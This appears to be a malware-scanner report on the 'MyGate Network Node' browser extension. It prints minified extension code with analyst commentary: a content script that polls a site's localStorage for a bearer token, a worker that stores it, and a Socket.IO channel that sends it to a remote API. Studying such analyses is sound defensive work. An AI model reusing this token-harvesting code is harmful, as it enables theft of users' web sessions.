Security Alert: Confirmed Malware
MyGate Network Node
ID: hajiimgolngmlbglaoheacnejbnnmoco
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Mygate networkView Profile
- Privacy
- Privacy Policy
- MX records exist
- No
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- No
This app allows users to share their network bandwidth with others and earn points as rewards.
This app allows users to share their network bandwidth with others and earn points as rewards. By connecting to the app, users contribute their unused internet resources to a decentralized network. In return, they receive points that can later be swapped for tokens or other benefits within the platform.
This content script continuously polls the page's localStorage every 100 ms, extracts the persisted auth blob, and forwards it to the extension background page. Pulling bearer-token material from a website's client-side storage is a strong credential-harvesting pattern, especially because it runs continuously without any user action.
const o = () => { var t, s; const e = localStorage.getItem("persist:root"); if (e) { const a = (t = JSON.parse(e)) == null ? void 0 : t.auth; a && ((s = JSON.parse(a)) == null ? void 0 : s.token) ? chrome.runtime.sendMessage({ type: "FROM_CONTENT", data: e }) : chrome.runtime.sendMessage({ type: "REMOVE_CONTENT" }) }};setInterval(o, 100);The background worker receives the auth blob harvested by the content script, parses out the token, and persists it in extension storage. Storing a website session token inside extension-controlled storage expands its lifetime and accessibility beyond the page that originally issued it, which is suspicious even if later API use appears first-party.
chrome.runtime.onMessage.addListener((n, e, t) => { var s; if (n.type === "FROM_CONTENT") { const r = JSON.parse(n.data), i = (s = JSON.parse(r == null ? void 0 : r.auth)) == null ? void 0 : s.token; i ? chrome.storage.local.set({ token: i }) : chrome.storage.local.remove("token") } n.type === "REMOVE_CONTENT" && chrome.storage.local.remove("token")});This code takes the previously captured bearer token and a persistent device identifier and uses them to establish a long-lived Socket.IO connection to the remote API. Maintaining a background-authenticated channel with stolen page credentials is a suspicious pattern because it enables remote tasking and ongoing data exchange outside the visible web session.
let w = null;const ot = async () => { try { const n = await j(), e = await le("device_id"); if (!n) { console.error("Token not found"); return } w && (console.log("Disconnecting existing socket..."), w.disconnect()), w = C("https://api.mygate.network", { auth: { token: `Bearer ${n}` }, query: { nodeId: e }, reconnection: !0, transports: ["websocket", "polling"] }), w.on("connect", () => { console.log("Socket.IO connected") }), w.on("message", t => { console.log("Message from server:", t) }), w.on("disconnect", () => { console.warn("Socket.IO disconnected") }), w.on("connect_error", t => { console.error("Connection error:", t) }) } catch (n) { console.error("Failed to connect WebSocket:", n) }}The popup generates a stable UUID, stores it as `device_id`, and registers that identifier with the backend as a node. This is a persistent tracking mechanism tied to the user's account/session and background connectivity, which is notable in an extension advertised around bandwidth sharing.
return E.useEffect(() => { const o = async () => { try { if (!await qu("device_id")) { const u = Q1(); await hm({ device_id: u }) } } catch (s) { console.error("Failed to fetch device ID:", s) } }, i = async () => { var s, u; try { const a = await n(); (s = a == null ? void 0 : a.data) != null && s.data && t((u = a == null ? void 0 : a.data) == null ? void 0 : u.data) } catch (a) { console.error("Failed to fetch user data:", a) } }, l = async () => { try { const s = await qu("device_id"); if (!s) return; await r({ id: s, status: "Good", activationDate: new Date }) } catch (s) { console.error("Failed to create node:", s) }On every browser startup, the extension automatically opens a new tab to its website. Forced tab creation is not outright malicious by itself, but it is an intrusive behavior commonly associated with adware/growth-hacking extensions and should be treated as suspicious.
chrome.runtime.onStartup.addListener(() => { ut()});chrome.alarms.onAlarm.addListener(async n => { n.name === "refreshToken" && (await ht() ? (console.log("Incrementing count..."), ct()) : console.log( "Browser is not open. Skipping increment."))});chrome.runtime.onStartup.addListener(() => { const n = "https://app.mygate.network"; chrome.tabs.create({ url: n }, () => { console.log(`Opened ${n}`) })});By severity
Versions scanned
Showing 2 of 18 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.19 | 5 |
| 1.0.0 | 4 |
Files with findings
3 distinct paths — top paths by unique finding count:
- background.js5
- content.js2
- main.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.